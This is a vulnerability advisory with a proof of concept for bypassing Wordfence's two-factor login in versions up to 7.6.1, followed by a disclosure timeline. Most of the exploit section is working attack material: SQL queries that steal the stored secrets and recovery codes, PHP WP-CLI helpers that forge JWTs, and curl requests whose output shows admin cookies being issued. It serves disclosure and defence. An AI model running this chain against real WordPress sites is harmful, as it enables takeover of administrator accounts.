Affected plugin | WordFence |
Active installs | 4+ million |
Vulnerable version | <= 7.6.1 |
Audited version | 7.6.1 |
Fully patched version | 7.6.2 |
Recommended remediation | Immediately update to version 7.6.2 or higher |
Description
An attacker can compromise any site using WordFence’s 2FA functionality by logging in as any user with two-factor authentication configured.
The only precondition is that any plugin, any theme, or WordPress Core has one of the seemingly never-ending real-only SQL Injection vulnerabilities.
Neither the target user’s primary credentials are required nor any form of authentication.
Proof of concept
An attacker can exploit a combination of multiple security neglects in the WordFence plugin.
The exploitable method is Controller_WordfenceLS::_authenticate.
An attacker can force this method to run by making the following request:
curl -s -o /dev/null -D - -X POST https://target.com/wp-login.php
HTTP/2 200
server: nginx/1.23.1
date: Thu, 08 Sep 2022 21:18:06 GMT
content-type: text/html; charset=UTF-8
vary: Accept-Encoding
x-powered-by: PHP/7.4.30
expires: Wed, 11 Jan 1984 05:00:00 GMT
cache-control: no-cache, must-revalidate, max-age=0
set-cookie: wordpress_test_cookie=WP%20Cookie%20check; path=/; secure
x-frame-options: SAMEORIGIN
If a 302 status code is returned together with a “wordpress_sec_XXXXX” cookie in the “set-cookie” header the site has been compromised.
WordFence uses JSON Web Tokens (JWT) to temporarily persist the user ID of a user that tried to log in using his primary credentials.
There needs to be some mechanism to store this user ID because the authentication flow requires two separate HTTP requests. The first request is used to validate the primary login credentials. WordFence will intercept this request and redirect the user to the 2FA form. If the subsequent request contains valid 2FA credentials, WordFence will need to access the user ID that was stored in the first request.
An attacker can exploit this mechanism to provide WordFence with valid JWTs and 2FA credentials to get logged in without needing the primary credentials.
First, the attacker must forge a valid JWT to bypass the first check of the Controller_WordfenceLS::_authenticate method.
/*
* Check 1
*
* If we have a valid JWT that authenticates the account _and_ code, fetch and return that user.
*/
if (isset($_POST['wfls-token-jwt']) && is_string($_POST['wfls-token-jwt'])) {
$jwt = Model_JWT::decode_jwt($_POST['wfls-token-jwt']);
if (!$jwt) { //Possibly user-corrupted or expired JWT
return new \WP_Error('wfls_twofactor_invalid', wp_kses(__('<strong>VALIDATION FAILED</strong>: The 2FA code could not be validated. Please try logging in again.', 'wordfence-2fa'), array('strong'=>array())));
}
if (!isset($jwt->payload['user'])) { //Possibly user-corrupted JWT
return new \WP_Error('wfls_twofactor_invalid', wp_kses(__('<strong>VALIDATION FAILED</strong>: The 2FA code could not be validated. Please try logging in again.', 'wordfence-2fa'), array('strong'=>array())));
}
$decryptedUser = Model_Symmetric::decrypt($jwt->payload['user']);
// EDITOR: more code here.
}
The critical part is line 14 above.
An attacker must create a JWT just the right way so that ultimately “$decrypted_user” will be assigned to the user ID of the target user.
To create a valid JWT, the attacker needs secret keys that WordFence stores as plaintext in the database. Using his read-only SQLi, an attacker must execute the following query.
SELECT name, value FROM wp_wfls_settings WHERE name = 'shared-hash-secret' OR name = 'shared-symmetric-secret'
shared-hash-secret: c8555327203fb65a2fb0700d38a1dbd4d1bd465b9679af698f2eb05cc033918c
shared-symmetric-secret: 0c4054734ebf4ce249ad1025b3ff9c2859742920c626a3e509d8badc162a9b20
The most convenient way to achieve this is to install the same version of WordFence on a local WordPress installation.
wp valet new local-wordfence # using laravel valet as an example.
wp plugin install wordfence --activate
Then run the following SQL query in the “local-wordfence” database
UPDATE wp_wfls_settings SET value = 'c8555327203fb65a2fb0700d38a1dbd4d1bd465b9679af698f2eb05cc033918c' where name = 'shared-hash-secret';
UPDATE wp_wfls_settings SET value = '0c4054734ebf4ce249ad1025b3ff9c2859742920c626a3e509d8badc162a9b20' where name = 'shared-symmetric-secret';
The local site used to launch the attack is now using the same cryptographic secrets that the remote target uses. Consequently, JWTs that are generated locally will also be valid on the remote target.
To help with this process, the following WP-CLI commands can be used:
<?php
declare(strict_types=1);
use WordfenceLS\Crypto\Model_JWT;
use WordfenceLS\Crypto\Model_Symmetric;
if(!defined('WP_CLI')) {
return;
}
WP_CLI::add_command('wf create-jwt', function (array $args){
$encrypted = Model_Symmetric::encrypt($args[0]);
$jwt = new Model_JWT(['user' => $encrypted, time()+ 100000]);
echo "$jwt\n";
}, [
'synopsis' => [
'type' => 'positional',
'name' => 'user_id',
'description' => 'The user id of the target user.'
]
]);
Running:
wp wf create-jwt 1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjp7ImRhdGEiOiJsV2dnbGlKKzdzZHZydGxPcmFwTjdnPT0iLCJpdiI6IlBcL09DSHhiRWN4MTZPaTZMb2paXC9NZz09In0sIjAiOjE2NjI2NzI3MTZ9.9nEdsiulLYEW3EUcDlUmN1gECUzxzqUAzJzTKJx3eo4
Adjusting the original curl command to use the valid JWT.
curl -s -o /dev/null -D - -X POST https://2fa.test/wp-login.php \
-d 'wfls-token-jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjp7ImRhdGEiOiJsV2dnbGlKKzdzZHZydGxPcmFwTjdnPT0iLCJpdiI6IlBcL09DSHhiRWN4MTZPaTZMb2paXC9NZz09In0sIjAiOjE2NjI2NzI3MTZ9.9nEdsiulLYEW3EUcDlUmN1gECUzxzqUAzJzTKJx3eo4'
The above command is not enough to log in yet, but WordFence is already thinking that a user with ID 1 is trying to complete this login flow.
The only thing left is to provide valid 2FA credentials.
/*
* Check 3
*
* If we have a valid JWT user and the user has provided a code, check to see if the code is valid. If it is,
* the JWT user is returned.
*/
if (isset($decryptedUser) && isset($_POST['wfls-token']) && is_string($_POST['wfls-token'])) {
$jwtUser = new \WP_User((int) $decryptedUser);
if (Controller_Users::shared()->has_2fa_active($jwtUser)) {
if (Controller_TOTP::shared()->validate_2fa($jwtUser, $_POST['wfls-token'])) {
define('WORDFENCE_LS_COMBINED_IS_VALID', true); //AJAX call will use this to generate a different JWT that authenticates for the account _and_ code
// EDITOR: THIS IS WHAT WE WANT AS WE CONTROL $jtwUser.
return $jwtUser;
}
return new \WP_Error('wfls_twofactor_failed', wp_kses(__('<strong>CODE INVALID</strong>: The 2FA code provided is either expired or invalid. Please try again.', 'wordfence-2fa'), array('strong'=>array())));
}
}
Valid 2FA credentials can be either:
- A six-digit TOTP, which an attacker can always generate since WordFence stores the encrypted TOTP secret next to the encryption key that was used.
- One of the emergency backup codes that WordFences stores as plaintext in the database.
An attacker can obtain both of those values by running the following SQL query using his SQLi.
SELECT HEX(recovery), HEX(secret) from wp_wfls_2fa_secrets where user_id = 1 -- Its important to use the same user id here that we used to generate the JWT.
HEX(recovery): 82E5AA5C8F6DC7EA8F67707D9DA52B03181F16AA75AADD6E595AEC16D8A47AA25FB7DCC1204D2DB5
HEX(secret): DFA895422E0B3FD130380325361392D45D9403DE
To get a valid recovery code from the hex-encoded representation the following WP-CLI command can be run on the local WordPress site.
WP_CLI::add_command('wf backup-code-from-hex', function (array $args){
$recovery_codes = str_split(strtolower($args[0]), 16);
echo "$recovery_codes[0]\n";
}, [
'synopsis' => [
'type' => 'positional',
'name' => 'recovery_codes_hex',
'description' => 'The hex encoded recovery codes'
]
]);
wp wf backup-code-from-hex 82E5AA5C8F6DC7EA8F67707D9DA52B03181F16AA75AADD6E595AEC16D8A47AA25FB7DCC1204D2DB5
82e5aa5c8f6dc7ea # A valid backup code.
Now, an attacker has everything that is required to pull off the attack.
The final curl command now looks like this:
curl -s -o /dev/null -D - -X POST https://2fa.test/wp-login.php \
-d 'wfls-token-jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjp7ImRhdGEiOiJsV2dnbGlKKzdzZHZydGxPcmFwTjdnPT0iLCJpdiI6IlBcL09DSHhiRWN4MTZPaTZMb2paXC9NZz09In0sIjAiOjE2NjI2NzI3MTZ9.9nEdsiulLYEW3EUcDlUmN1gECUzxzqUAzJzTKJx3eo4' \
-d 'wfls-token=82e5aa5c8f6dc7ea'
HTTP/2 302
server: nginx/1.23.1
date: Thu, 08 Sep 2022 21:38:34 GMT
content-type: text/html; charset=UTF-8
location: https://2fa.test/wp-admin/
x-powered-by: PHP/7.4.30
expires: Wed, 11 Jan 1984 05:00:00 GMT
cache-control: no-cache, must-revalidate, max-age=0
set-cookie: wordpress_test_cookie=WP%20Cookie%20check; path=/; secure
x-frame-options: SAMEORIGIN
set-cookie: wordpress_sec_eea79ad35da9c093092ecb36b376e17f=admin%7C1662845914%7CiFwQIWFXZDVnKFSMzfS40kVyCerGLACc0150m4NPrIs%7C339e696320e01b99cb01e38e91582e3ac61144b28cb8a83a783cb065389d7a49; path=/wp-content/plugins; secure; HttpOnly
set-cookie: wordpress_sec_eea79ad35da9c093092ecb36b376e17f=admin%7C1662845914%7CiFwQIWFXZDVnKFSMzfS40kVyCerGLACc0150m4NPrIs%7C339e696320e01b99cb01e38e91582e3ac61144b28cb8a83a783cb065389d7a49; path=/wp-admin; secure; HttpOnly
set-cookie: wordpress_logged_in_eea79ad35da9c093092ecb36b376e17f=admin%7C1662845914%7CiFwQIWFXZDVnKFSMzfS40kVyCerGLACc0150m4NPrIs%7Cea952b41fe2784b4369d0499b621fdcb36891da680ac02a17f089e244d9e7d53; path=/; secure; HttpOnly
x-redirect-by: WordPress
The site is now wholly compromised since the attacker obtained a valid WordPress authentication cookie.
set-cookie: wordpress_sec_eea79ad35da9c093092ecb36b376e17f=admin%7C1662845914%7CiFwQIWFXZDVnKFSMzfS40kVyCerGLACc0150m4NPrIs%7C339e696320e01b99cb01e38e91582e3ac61144b28cb8a83a783cb065389d7a49; path=/wp-admin; secure; HttpOnly
Timeline
Vendor contacted | September 08, 2022 |
First Response | September 08, 2022 |
Fully patched at | September 16, 2022 |
Publicly disclosed | April 24, 2023 |
Miscellaneous
- The vendor did not disclose that patch 7.6.2 fixed a critical security vulnerability. Instead, the vendor used the following changelog message, which, in our opinion does not adequately reflect the severity of the issue. The changelog message is:
“Improvement: Hardened 2FA login flow to reduce exposure in cases where an attacker is able to obtain privileged information from the database”
- The vendor was the only one out of 26 that implemented proper security best practices, like offering a public GPG key to secure the POC.
Leave a Reply